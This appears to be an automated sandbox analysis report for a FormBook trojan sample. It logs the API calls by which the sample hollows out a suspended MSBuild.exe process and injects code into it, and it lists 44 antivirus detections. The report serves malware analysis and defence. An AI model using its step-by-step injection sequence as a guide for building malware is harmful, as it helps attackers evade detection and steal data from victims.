Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 792 resumed a thread in remote process 2220
NtResumeThread April 26, 2023, 6:07 p.m.	thread_handle: 0x0000021c suspend_count: 1 process_identifier: 2220	1	0	0

Generates some ICMP traffic

Executed a process and injected code into it, probably while unpacking (23 events)

Time & API	Arguments	Status	Return
NtResumeThread April 26, 2023, 6:07 p.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 792	1	0
NtResumeThread April 26, 2023, 6:07 p.m.	thread_handle: 0x00000154 suspend_count: 1 process_identifier: 792	1	0
NtResumeThread April 26, 2023, 6:07 p.m.	thread_handle: 0x00000190 suspend_count: 1 process_identifier: 792	1	0
NtResumeThread April 26, 2023, 6:07 p.m.	thread_handle: 0x00000390 suspend_count: 1 process_identifier: 792	1	0
NtResumeThread April 26, 2023, 6:07 p.m.	thread_handle: 0x000003a4 suspend_count: 1 process_identifier: 792	1	0
NtResumeThread April 26, 2023, 6:07 p.m.	thread_handle: 0x000003c4 suspend_count: 1 process_identifier: 792	1	0
NtResumeThread April 26, 2023, 6:07 p.m.	thread_handle: 0x000003d4 suspend_count: 1 process_identifier: 792	1	0
NtResumeThread April 26, 2023, 6:07 p.m.	thread_handle: 0x00000440 suspend_count: 1 process_identifier: 792	1	0
NtResumeThread April 26, 2023, 6:07 p.m.	thread_handle: 0x00000460 suspend_count: 1 process_identifier: 792	1	0
NtResumeThread April 26, 2023, 6:07 p.m.	thread_handle: 0x00000478 suspend_count: 1 process_identifier: 792	1	0
NtGetContextThread April 26, 2023, 6:07 p.m.	thread_handle: 0x000000e8	1	0
NtGetContextThread April 26, 2023, 6:07 p.m.	thread_handle: 0x000000e8	1	0
NtGetContextThread April 26, 2023, 6:07 p.m.	thread_handle: 0x000000e8	1	0
NtSetContextThread April 26, 2023, 6:07 p.m.	registers.eip: 1945840516 registers.esp: 4189980 registers.edi: 60281746 registers.eax: 65331 registers.ebp: 4189996 registers.edx: 2 registers.ebx: 60235200 registers.esi: 57556256 registers.ecx: -13405438 thread_handle: 0x000000e8 process_identifier: 792	1	0
NtResumeThread April 26, 2023, 6:07 p.m.	thread_handle: 0x000000e8 suspend_count: 1 process_identifier: 792	1	0
CreateProcessInternalW April 26, 2023, 6:07 p.m.	thread_identifier: 2224 thread_handle: 0x0000021c process_identifier: 2220 current_directory: filepath: track: 1 command_line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe filepath_r: stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x000003ac	1	1
NtGetContextThread April 26, 2023, 6:07 p.m.	thread_handle: 0x0000021c	1	0
NtAllocateVirtualMemory April 26, 2023, 6:07 p.m.	process_identifier: 2220 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x000003ac	1	0
WriteProcessMemory April 26, 2023, 6:07 p.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELBr?à ÒÀðð@ð@.text$ÑÒ ` base_address: 0x00400000 process_identifier: 2220 process_handle: 0x000003ac	1	1
WriteProcessMemory April 26, 2023, 6:07 p.m.	buffer: base_address: 0x00401000 process_identifier: 2220 process_handle: 0x000003ac	1	1
WriteProcessMemory April 26, 2023, 6:07 p.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2220 process_handle: 0x000003ac	1	1
NtSetContextThread April 26, 2023, 6:07 p.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4321472 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000021c process_identifier: 2220	1	0
NtResumeThread April 26, 2023, 6:07 p.m.	thread_handle: 0x0000021c suspend_count: 1 process_identifier: 2220	1	0

File has been identified by 44 AntiVirus engines on VirusTotal as malicious (44 events)

Lionic	Trojan.Win32.Noon.4!c
DrWeb	Trojan.DownLoaderNET.606
MicroWorld-eScan	Trojan.GenericKD.66629204
FireEye	Trojan.GenericKD.66629204
Malwarebytes	Spyware.FormBook
VIPRE	Trojan.GenericKD.66629204
Sangfor	Trojan.Msil.Kryptik.Vi0i
K7AntiVirus	Trojan ( 005a41d61 )
Alibaba	Trojan:MSIL/Kryptik.70d2fd57
K7GW	Trojan ( 005a41d61 )
CrowdStrike	win/malicious_confidence_100% (W)
Arcabit	Trojan.Generic.D3F8AE54
Cyren	W32/Kryptik.FGIA-6822
Symantec	Trojan Horse
ESET-NOD32	a variant of MSIL/TrojanDownloader.Agent.PDL
APEX	Malicious
Paloalto	generic.ml
Cynet	Malicious (score: 99)
Kaspersky	HEUR:Trojan-Spy.MSIL.Noon.gen
BitDefender	Trojan.GenericKD.66629204
Avast	Win32:PWSX-gen [Trj]
Emsisoft	Trojan.GenericKD.66629204 (B)
F-Secure	Trojan.TR/Kryptik.vqcpy
McAfee-GW-Edition	RDN/GenericV
Sophos	Mal/Generic-S
Webroot	W32.Trojan.Gen
Avira	TR/Kryptik.vqcpy
MAX	malware (ai score=86)
Antiy-AVL	Trojan/MSIL.Kryptik
Gridinsoft	Trojan.Win32.FormBook.bot
Xcitium	Malware@#3ptrrb6uroaj7
Microsoft	Trojan:MSIL/Formbook!MTB
ZoneAlarm	HEUR:Trojan-Spy.MSIL.Noon.gen
GData	Trojan.GenericKD.66629204
Google	Detected
McAfee	Artemis!FE889BF209A5
Cylance	unsafe
Panda	Trj/Chgt.AD
TrendMicro-HouseCall	TROJ_GEN.R002H0DDO23
Rising	Malware.Obfus/MSIL@AI.94 (RDM.MSIL2:UxKVAqwG0BmqZbNVjhXY9g)
Ikarus	Trojan.MSIL.Crypt
Fortinet	MSIL/Kryptik.AIRB!tr
AVG	Win32:PWSX-gen [Trj]
DeepInstinct	MALICIOUS

vbc.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All